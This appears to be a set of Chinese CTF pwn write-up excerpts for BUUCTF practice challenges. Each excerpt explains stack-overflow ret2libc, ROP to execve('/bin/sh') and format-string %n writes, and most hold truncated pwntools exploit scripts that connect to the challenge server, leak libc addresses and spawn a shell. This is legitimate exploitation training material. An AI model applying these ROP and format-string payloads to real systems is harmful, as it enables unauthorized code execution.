main函数有一个read两个printf 之前都是自己调用自己,这次是将自己的地址作为参数借用别的函数输出。 本题的主要思路是 “用printf函数读取 read_got 这个地址里存储的值,并按照格式字符串的要求输出”。 所以我们需要几个参数 main_addr:作为发送第一个payload后返回的地址,再次执行main函数 pop_rdi:给 printf 传递第一个参数 format_str:格式化字符串的地址 pop_rsi:给 printf 传递第二个参数 read_got:read_got作为第二个参数 printf_plt:调用printf函数 main_addr:返回地址 也就是正常的ret2libc exp在下...

vuln函数中使用了两个syscall指令,根据rax即可知道该指令调用的是哪个系统调用 第一个syscall:与自己进行异或操作(对应xor指令),得到的结果就是0,系统调用号为0的系统调用是read 第二个syscall:给rax赋值为1(对应代码mov rax 1),系统调用号为1的系统调用是write read存在栈溢出 write能泄露数据 1 | rax = 59//对应59号系统调用-> exceve 2 | rdi = ‘/bin/sh’ 3 | rsi = 0 4 | rdx = 0

from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') io = connect('node5.buuoj.cn', 27678) offset = 40 main_addr = 0x0000000000400636 ret_addr = 0x00000000004004d1 rdi_addr = 0x0000000000400733 elf = ELF("./babyrop2") read_got = elf.got['read'] printf_plt =...

from pwn import * from LibcSearcher import LibcSearcher context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26718) # 与在线环境交互。 offset = 0x2c + 0x4 vuln_addr = 0x804852F elf = ELF("./pwn") printf_got = elf.got['printf'] printf_plt =...

from pwn import * from LibcSearcher import * local_file = ('./ciscn_2019_n_5') select = 1 if select == 0: r = process(local_file) else: r = remote('node5.buuoj.cn', 27578) elf = ELF(local_file) context.log_level = 'debug' offset1 = 64 offset2 = 0x20+0x08 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] main_addr =...

from pwn import * # p = process('./ne_5') p = remote("node5.buuoj.cn", 29898) sh = 0x80482ea sys_addr = 0x080484D0 # 使用ROPgadget找 p.sendlineafter("password:", b'administrator') p.sendlineafter(b'0.Exit\n:', b'1') payload = b'a' * (0x48 + 4) + p32(sys_addr) + b'aaaa' + p32(sh) # 使用system函数传参 同时用任意数据填充4个字节的返回地址...

from pwn import * local_file = './PicoCTF_2018_rop_chain' select = 1 if select == 0: r = process(local_file) else: r = remote('node5.buuoj.cn', 28015) elf = ELF(local_file) context.log_level = 'debug' flag = 0x0804862B win1=elf.sym['win_function1'] win2 = 0x080485D8 pop = 0x0804840d #win2传入一个参数为-1163220307,运行完后...

payload3 = b'AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' io.sendline(payload3) 看到0x41414141在11个 from pwn import * #start r = process("../buu/jarvisoj_fm") #params x_addr = 0x804A02C #attack payload = b'%4c%13$n' + p32(x_addr) print(payload) r.sendline(payload) r.interactive() 1. p32(x_addr):指定“写入的目标” 含义...

from pwn import * local_file = './pwn' local_libc = './libc-2.31.so' remote_libc = './libc-2.31.so' select = 1 if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote('node5.buuoj.cn',27019) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch def...

from pwn import * from LibcSearcher import * local_file = '文件' local_libc = 'libc表' remote_libc = 'libc表' select = 1 if select == 0: r = process(local_file) libc = ELF(local_libc) else: r = remote(地址) libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' # ROPgadget --binary ciscn_2019_c_1 --only...